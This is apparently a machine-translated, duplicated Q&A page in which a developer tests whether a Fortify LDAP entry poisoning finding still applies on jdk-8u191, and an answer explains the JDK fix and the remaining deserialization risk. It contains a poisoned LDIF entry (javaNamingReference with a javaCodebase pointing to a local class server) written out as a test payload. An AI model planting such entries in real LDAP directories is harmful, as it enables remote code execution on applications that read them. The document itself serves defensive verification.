LDAP 条目中毒已在 jdk-8u191 中修复?
LDAP Entry Poisoning Fixed in jdk-8u191?
Fortify 报告了我的一个 Spring 应用程序中的 LDAP 条目中毒漏洞。您可以从以下链接获取有关此漏洞的更多信息:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
我决定自己尝试证明这是否仍然是一个漏洞。我使用 Spring Tool Suite:
做到了这一点
文件 -> 新建 -> 导入 spring 入门内容
搜索 ldap
并导入 Authenticating Ldap -> 完整代码集
https://spring.io/guides/gs/authenticating-ldap/
然后我将以下行添加到包含的测试-server.ldif 文件到 bob 的条目以及开发人员的条目:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject
为了 运行 这个,我需要将以下行添加到 application.properties:
spring.ldap.embedded.validation.enabled=false
我启动了 Wireshark 和 运行 Spring 示例应用程序,果然,当我使用 bob 登录时,我在端口 9999 上的 Wireshark 中获得了成功。
当我让同事测试同样的东西时,他无法重现。经过一番研究,我们发现他的 jdk 比我的更新,而在我更新 jdk 后,我也无法重现该问题。
我们将它缩小到 jdk-8u191 是引入 "the fix" 的版本,但我找不到任何解释为什么或如何在 java 中修复它的内容发行说明。
我的问题是 - 如果我们 运行ning jdk-8u191 或更新版本,LDAP 条目中毒现在是 false/positive 吗?或者是否有一些配置选项可以设置为覆盖此 "fix"?
8u191 closed a remote class loading vulnerability 在 LDAP 中,尽管研究正在进行中。每当您将字节流转换为 Java 中的对象时,您需要考虑 class 加载(8u191 解决的问题),但也要考虑不安全的反序列化。
解决 CVE 时,它们通常不会出现在发行说明中。
至于Fortify的告警是不是误报,我觉得更重要的是评估与你的应用相关的风险。
例如,要利用此漏洞,攻击者至少需要 direct access to your LDAP instance(请参阅第 31 页),这可能表明存在更大的安全问题。 8u191 及之后,攻击者还需要在您的 class 路径中找到一个 class,它容易受到不安全反序列化的影响,以重现 BH 谈话所展示的内容。
Fortify 报告了我的一个 Spring 应用程序中的 LDAP 条目中毒漏洞。您可以从以下链接获取有关此漏洞的更多信息:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
我决定自己尝试证明这是否仍然是一个漏洞。我使用 Spring Tool Suite:
做到了这一点文件 -> 新建 -> 导入 spring 入门内容
搜索 ldap 并导入 Authenticating Ldap -> 完整代码集
https://spring.io/guides/gs/authenticating-ldap/
然后我将以下行添加到包含的测试-server.ldif 文件到 bob 的条目以及开发人员的条目:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject
为了 运行 这个,我需要将以下行添加到 application.properties:
spring.ldap.embedded.validation.enabled=false
我启动了 Wireshark 和 运行 Spring 示例应用程序,果然,当我使用 bob 登录时,我在端口 9999 上的 Wireshark 中获得了成功。
当我让同事测试同样的东西时,他无法重现。经过一番研究,我们发现他的 jdk 比我的更新,而在我更新 jdk 后,我也无法重现该问题。
我们将它缩小到 jdk-8u191 是引入 "the fix" 的版本,但我找不到任何解释为什么或如何在 java 中修复它的内容发行说明。
我的问题是 - 如果我们 运行ning jdk-8u191 或更新版本,LDAP 条目中毒现在是 false/positive 吗?或者是否有一些配置选项可以设置为覆盖此 "fix"?
8u191 closed a remote class loading vulnerability 在 LDAP 中,尽管研究正在进行中。每当您将字节流转换为 Java 中的对象时,您需要考虑 class 加载(8u191 解决的问题),但也要考虑不安全的反序列化。
解决 CVE 时,它们通常不会出现在发行说明中。
至于Fortify的告警是不是误报,我觉得更重要的是评估与你的应用相关的风险。
例如,要利用此漏洞,攻击者至少需要 direct access to your LDAP instance(请参阅第 31 页),这可能表明存在更大的安全问题。 8u191 及之后,攻击者还需要在您的 class 路径中找到一个 class,它容易受到不安全反序列化的影响,以重现 BH 谈话所展示的内容。